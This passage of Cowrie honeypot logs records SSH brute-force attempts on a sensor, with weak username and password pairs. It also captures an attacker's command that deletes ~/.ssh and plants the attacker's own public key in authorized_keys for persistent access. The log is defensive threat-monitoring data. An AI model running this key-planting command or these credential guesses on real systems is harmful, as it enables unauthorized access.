@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:29.915173Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"qwe123","message":"login attempt [steam/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:30.522277Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:30.853230Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:30.856744Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:30.860286Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.005143Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.328400Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.331876Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.477568Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.481681Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":39306,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3373b490957","protocol":"ssh","message":"New connection: 152.244.206.148:39306 (10.17.0.5:22) [session: d3373b490957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.603744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.608384Z","src_ip":"152.244.206.148","session":"d3373b490957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:31.743298Z","src_ip":"152.244.206.148","session":"d3373b490957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:32.313820Z","src_ip":"152.244.206.148","session":"d3373b490957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:33.454412Z","src_ip":"152.244.206.148","session":"d3373b490957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":39308,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b3677179076","protocol":"ssh","message":"New connection: 152.244.206.148:39308 (10.17.0.5:22) [session: 0b3677179076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:33.592898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:33.598038Z","src_ip":"152.244.206.148","session":"0b3677179076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:33.740275Z","src_ip":"152.244.206.148","session":"0b3677179076","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:34.326512Z","src_ip":"152.244.206.148","session":"0b3677179076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:34.471976Z","src_ip":"152.244.206.148","session":"0b3677179076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:34.476860Z","src_ip":"152.244.206.148","session":"43e3d94e76fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00798869132996,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:11:41.395874Z","src_ip":"157.66.118.168","session":"0a0e14c842c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":38346,"dst_ip":"10.17.0.5","dst_port":22,"session":"d893badea9c2","protocol":"ssh","message":"New connection: 115.241.83.2:38346 (10.17.0.5:22) [session: d893badea9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:12:04.315882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:12:04.321023Z","src_ip":"115.241.83.2","session":"d893badea9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:12:04.551973Z","src_ip":"115.241.83.2","session":"d893badea9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789AA","message":"login attempt [root/123456789AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:12:05.506497Z","src_ip":"115.241.83.2","session":"d893badea9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:12:06.741017Z","src_ip":"115.241.83.2","session":"d893badea9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":47110,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb641fcb0184","protocol":"ssh","message":"New connection: 115.241.83.2:47110 (10.17.0.5:22) [session: bb641fcb0184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:13:04.595849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:13:04.605573Z","src_ip":"115.241.83.2","session":"bb641fcb0184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:13:04.834339Z","src_ip":"115.241.83.2","session":"bb641fcb0184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft123","message":"login attempt [minecraft/minecraft123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:13:05.775370Z","src_ip":"115.241.83.2","session":"bb641fcb0184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:13:07.005870Z","src_ip":"115.241.83.2","session":"bb641fcb0184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":52852,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f71fcef745d","protocol":"ssh","message":"New connection: 115.241.83.2:52852 (10.17.0.5:22) [session: 8f71fcef745d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:05.835413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:05.840829Z","src_ip":"115.241.83.2","session":"8f71fcef745d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:06.071876Z","src_ip":"115.241.83.2","session":"8f71fcef745d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfvcxz","message":"login attempt [root/asdfvcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:07.023707Z","src_ip":"115.241.83.2","session":"8f71fcef745d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:08.259220Z","src_ip":"115.241.83.2","session":"8f71fcef745d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13500,"dst_ip":"10.17.0.5","dst_port":22,"session":"612a05fc97c6","protocol":"ssh","message":"New connection: 194.59.206.2:13500 (10.17.0.5:22) [session: 612a05fc97c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:32.290524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:32.294859Z","src_ip":"194.59.206.2","session":"612a05fc97c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:32.378672Z","src_ip":"194.59.206.2","session":"612a05fc97c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:14:32.464002Z","src_ip":"194.59.206.2","session":"612a05fc97c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":35188,"dst_ip":"10.17.0.5","dst_port":22,"session":"f383a48b3c99","protocol":"ssh","message":"New connection: 115.241.83.2:35188 (10.17.0.5:22) [session: f383a48b3c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:07.682222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:07.687035Z","src_ip":"115.241.83.2","session":"f383a48b3c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac